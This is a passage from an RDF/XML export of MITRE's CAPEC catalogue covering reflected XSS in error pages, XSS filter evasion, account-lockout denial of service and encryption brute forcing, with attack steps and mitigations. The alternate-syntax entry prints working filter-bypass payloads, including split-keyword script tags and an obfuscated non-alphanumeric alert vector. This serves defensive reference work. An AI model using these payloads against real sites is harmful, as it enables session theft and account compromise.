xmlns:capec="http://capec.mitre.org/capec-3"&gt;When the third party web server receives the crafted request and notes the error it then creates an error message that echoes the malformed message, including the exploit. Doing this converts the exploit portion of the message into to valid language elements that are executed by the viewing browser. When a victim executes the query provided by the adversary the infected error message is returned including the exploit code which then runs in the victim's browser. XSS can result in execution of code as well as data leakage (e.g. session cookies can be sent to the attacker). This type of attack is especially dangerous since the exploit appears to come from the third party web server, who the victim may trust and hence be more vulnerable to deception.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern9755 + Related_Attack_Pattern_9755 + + + + + + + + + + + + + + 591 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern9756 + Related_Attack_Pattern_9756 + + + + + + + + + + + + + + 592 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern9757 + Related_Attack_Pattern_9757 + + + + + + + + + + + + + + 588 + + + + + + + + + + + + #indAttackStepAttackStep9760 + Attack_Step_9760 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs as URL parameters] Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application, looking for URLs which use parameters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep9768 + Attack_Step_9768 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Cause application to return error page] The adversary uses the URLs gathered in the "Explore" phase as a target list and injects various common script payloads and special characters into the parameters to see if an error page occurs, and if the injected payload is executed by the error page.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of XSS probe strings to inject script in parameters of known URLs. If possible, the probe strings contain a unique identifier.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record results of manual input of XSS probes in known URLs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of HTML special characters to inject into parameters of known URLs and check if they caused errors</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep9776 + Attack_Step_9776 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft malicious XSS URL] Once the adversary has determined which parameters are vulnerable to XSS through an error page, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Change a URL parameter to include a malicious script tag.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send information gathered from the malicious script to a remote endpoint.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep9783 + Attack_Step_9783 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Get victim to click URL] In order for the attack to be successful, the victim needs to access the malicious URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Put the malicious URL on a public forum, where many victims might accidentally click the link.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A third party web server which fails to adequately sanitize messages sent in error pages.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim must be made to execute a query crafted by the adversary which results in the infected error report.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use libraries and templates that minimize unfiltered input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Normalize, filter and use an allowlist for any input that will be used in error messages.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: The victim should configure the browser to minimize active content from untrusted sources.</xhtml:div> + + + + + 81 + + + + + + + + + + + + #indContentHistoryContentHistory9806 + Content_History_9806 + + + + + + + + + + + + + + + + #indSubmissionSubmission9807 + Submission_9807 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification9812 + Modification_9812 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description Summary, Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification9818 + Modification_9818 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification9824 + Modification_9824 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification9830 + Modification_9830 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification9836 + Modification_9836 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Execution_Flow, Prerequisites + + + + + + + + + + + + #indModificationModification9842 + Modification_9842 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName9848 + Previous_Entry_Name_9848 + + + + + + + + + 2017-05-01 + + + + + Cross-Site Scripting in Error Pages + + + + + + + + + + + + #CAPEC-199 + XSS Using Alternate Syntax + + + + + + + + + 199 + + + + + XSS Using Alternate Syntax + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses alternate forms of keywords or commands that result in the same action as the primary form but which may not be caught by filters. For example, many keywords are processed in a case insensitive manner. If the site's web filtering algorithm does not convert all tags into a consistent case before the comparison with forbidden keywords it is possible to bypass filters (e.g., incomplete black lists) by using an alternate case structure. For example, the "script" tag using the alternate forms of "Script" or "ScRiPt" may bypass filters where "script" is the only form tested. Other variants using different syntax representations are also possible as well as using pollution meta-characters or entities that are eventually ignored by the rendering engine. The attack can result in the execution of otherwise prohibited functionality.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern9857 + Related_Attack_Pattern_9857 + + + + + + + + + + + + + + 591 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern9858 + Related_Attack_Pattern_9858 + + + + + + + + + + + + + + 592 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern9859 + Related_Attack_Pattern_9859 + + + + + + + + + + + + + + 588 + + + + + + + + + + + + #indAttackStepAttackStep9862 + Attack_Step_9862 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep9870 + Attack_Step_9870 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe identified potential entry points for XSS vulnerability] Possibly using an automated tool, an adversary requests variations on the inputs they surveyed before using alternate syntax. These inputs are designed to bypass incomplete filtering (e.g., incomplete HTML encoding etc.) and try many variations of characters injection that would enable the XSS payload. They record all the responses from the server that include unmodified versions of their script.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of XSS probe strings to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier. Attempt numerous variations based on form, format, syntax &amp; encoding.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record results of manual input of XSS probes in known URLs.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep9877 + Attack_Step_9877 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft malicious XSS URL] Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Change a URL parameter to include a malicious script tag created using alternate syntax to bypass filters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send information gathered from the malicious script to a remote endpoint.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep9884 + Attack_Step_9884 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Get victim to click URL] In order for the attack to be successful, the victim needs to access the malicious URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Put the malicious URL on a public forum, where many victims might accidentally click the link.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Target client software must allow scripting such as JavaScript.</xhtml:div> + + + + + + + + + + + + #indSkillSkill9896 + Skill_9896 + + + + + + + + + + + + + + To inject the malicious payload in a web page + + + + + + + + + + + + #indSkillSkill9897 + Skill_9897 + + + + + + + + + + + + + + To bypass non trivial filters in the application + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to send HTTP request to a web application.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence9903 + Consequence_9903 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence9907 + Consequence_9907 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence9911 + Consequence_9911 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence9916 + Consequence_9916 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence9923 + Consequence_9923 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use browser technologies that do not allow client side scripting.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Utilize strict type, character, and encoding enforcement</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Ensure all content coming from the client is using the same encoding; if not, the server-side application must canonicalize the data before applying any filtering.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform input validation for all remote content, including remote and user-generated content</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform output validation for all remote content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Disable scripting languages such as JavaScript in browser</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In this example, the adversary tries to get &amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt; executed by the victim's browser. The target application employs regular expressions to make sure no script is being passed through the application to the web page; such a regular expression could be ((?i)script), and the application would replace all matches by this regex by the empty string. An adversary will then create a special payload to bypass this filter:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;&amp;lt;scriscriptpt&amp;gt;alert(1)&amp;lt;/scscriptript&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;when the applications gets this input string, it will replace all "script" (case insensitive) by the empty string and the resulting input will be the desired vector by the adversary:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="result"&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In this example, we assume that the application needs to write a particular string in a client-side JavaScript context (e.g., &amp;lt;script&amp;gt;HERE&amp;lt;/script&amp;gt;). For the adversary to execute the same payload as in the previous example, they would need to send alert(1) if there was no filtering. The application makes use of the following regular expression as filter&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="mitigation"&gt;((\\w+)\\s*\\(.*\\)|alert|eval|function|document)&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;and replaces all matches by the empty string. For example each occurrence of alert(), eval(), foo() or even the string "alert" would be stripped. An adversary will then create a special payload to bypass this filter:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;this['al' + 'ert'](1)&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;when the applications gets this input string, it won't replace anything and this piece of JavaScript has exactly the same runtime meaning as alert(1). The adversary could also have used non-alphanumeric XSS vectors to bypass the filter; for example,&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;would be executed by the JavaScript engine like alert(1) is.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 87 + + + + + + + + + + + + #indReferenceReference9958 + Reference_9958 + + + + + + + + + REF-69 + + + + + XSS Filter Evasion Cheat Sheet + + + + + + + + + + + + #indReferenceReference9959 + Reference_9959 + + + + + + + + + REF-70 + + + + + Testing for Cross site scripting + + + + + + + + + + + + #indReferenceReference9960 + Reference_9960 + + + + + + + + + REF-71 + + + + + + + + + + + + #indReferenceReference9961 + Reference_9961 + + + + + + + + + REF-72 + + + + + WASC-08 - Cross Site Scripting + + + + + + + + + + + + #indContentHistoryContentHistory9963 + Content_History_9963 + + + + + + + + + + + + + + + + #indSubmissionSubmission9964 + Submission_9964 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification9969 + Modification_9969 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description Summary, Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification9975 + Modification_9975 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Consequences + + + + + + + + + + + + #indModificationModification9981 + Modification_9981 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, Execution_Flow + + + + + + + + + + + + #indModificationModification9987 + Modification_9987 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Example_Instances, Execution_Flow + + + + + + + + + + + + #indModificationModification9993 + Modification_9993 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName9999 + Previous_Entry_Name_9999 + + + + + + + + + 2017-05-01 + + + + + Cross-Site Scripting Using Alternate Syntax + + + + + + + + + + + + #CAPEC-2 + Inducing Account Lockout + + + + + + + + + 2 + + + + + Inducing Account Lockout + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker leverages the security functionality of the system aimed at thwarting potential attacks to launch a denial of service attack against a legitimate system user. Many systems, for instance, implement a password throttling mechanism that locks an account after a certain number of incorrect log in attempts. An attacker can leverage this throttling mechanism to lock a legitimate user out of their own account. The weakness that is being leveraged by an attacker is the very security feature that has been put in place to counteract attacks.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern10007 + Related_Attack_Pattern_10007 + + + + + + + + + + + + + + 212 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep10012 + Attack_Step_10012 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Investigate account lockout behavior of system] Investigate the security features present in the system that may trigger an account lockout</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Analyze system documentation to find list of events that could potentially cause account lockout</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Obtain user account in system and attempt to lock it out by sending malformed or incorrect data repeatedly</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine another user's login ID, and attempt to brute force the password (or other credentials) for it a predetermined number of times, or until the system provides an indication that the account is locked out.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10020 + Attack_Step_10020 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Obtain list of user accounts to lock out] Generate a list of valid user accounts to lock out</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Obtain list of authorized users using another attack pattern, such as SQL Injection.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attempt to create accounts if possible; system should indicate if a user ID is already taken.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attempt to brute force user IDs if system reveals whether a given user ID is valid or not upon failed login attempts.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10028 + Attack_Step_10028 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Lock Out Accounts] Perform lockout procedure for all accounts that the attacker wants to lock out.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For each user ID to be locked out, perform the lockout procedure discovered in the first step.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system has a lockout mechanism.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker must be able to reproduce behavior that would result in an account being locked.</xhtml:div> + + + + + + + + + + + + #indSkillSkill10040 + Skill_10040 + + + + + + + + + + + + + + No programming skills or computer knowledge is needed. An attacker can easily use this attack pattern following the Execution Flow above. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Computer with access to the login portion of the target system</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence10046 + Consequence_10046 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Denial of Service</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When implementing security features, consider how they can be misused and made to turn on themselves.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A famous example of this type an attack is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.</xhtml:div> + + + + + 645 + + + + + + + + + + + + #indTaxonomyMappingAccountAccessRemoval + Account Access Removal + + + + + + + + + + + + + + 1531 + + + + + Account Access Removal + + + + + + + + + + + + #indContentHistoryContentHistory10068 + Content_History_10068 + + + + + + + + + + + + + + + + #indSubmissionSubmission10069 + Submission_10069 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification10074 + Modification_10074 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required + + + + + + + + + + + + #indModificationModification10080 + Modification_10080 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification10086 + Modification_10086 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification10092 + Modification_10092 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-20 + Encryption Brute Forcing + + + + + + + + + 20 + + + + + Encryption Brute Forcing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern10105 + Related_Attack_Pattern_10105 + + + + + + + + + + + + + + 112 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern10106 + Related_Attack_Pattern_10106 + + + + + + + + + + + + + + 668 + + + + + + + + + + + + #indAttackStepAttackStep10109 + Attack_Step_10109 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine the ciphertext and the encryption algorithm.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10114 + Attack_Step_10114 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Perform an exhaustive brute force search of the key space, producing candidate plaintexts and observing if they make sense.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ciphertext is known.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Encryption algorithm and key size are known.</xhtml:div> + + + + + + + + + + + + #indSkillSkill10125 + Skill_10125 + + + + + + + + + + + + + + Brute forcing encryption does not require much skill. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A powerful enough computer for the job with sufficient CPU, RAM and HD. Exact requirements will depend on the size of the brute force job and the time requirement for completion. Some brute forcing jobs may require grid or distributed computing (e.g. DES Challenge).&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;On average, for a binary key of size N, 2^(N/2) trials will be needed to find the key that would decrypt the ciphertext to obtain the original plaintext.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Obviously as N gets large the brute force approach becomes infeasible.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None. This attack happens offline.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence10138 + Consequence_10138 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use commonly accepted algorithms and recommended key sizes. The key size used will depend on how important it is to keep the data confidential and for how long.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In theory a brute force attack performing an exhaustive key space search will always succeed, so the goal is to have computational security. Moore's law needs to be taken into account that suggests that computing resources double every eighteen months.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In 1997 the original DES challenge used distributed net computing to brute force the encryption key and decrypt the ciphertext to obtain the original plaintext. Each machine was given its own section of the key space to cover. The ciphertext was decrypted in 96 days.</xhtml:div> + + + + + 326 + + + + + 327 + + + + + 693 + + + + + 1204 + + + + + + + + + + + + #indContentHistoryContentHistory10156 + Content_History_10156 + + + + + + + + + + + + + + + + #indSubmissionSubmission10157 + Submission_10157 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification10162 + Modification_10162 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #CAPEC-200 + Removal of filters: Input filters, output filters, data masking + + + + + + + + + 200 + + + + + Removal of filters: Input filters, output filters, data masking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker removes or disables filtering mechanisms on the target application. Input filters prevent invalid data from being sent to an application (for example, overly large inputs that might cause a buffer overflow or other malformed inputs that may not be correctly handled by an application). Input filters might also be designed to constrained executable content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;For example, if an application accepts scripting languages as input, an input filter could constrain the commands received and block those that the application's administrator deems to be overly powerful. An output filter screens responses from an application or person in order to prevent disclosure of sensitive 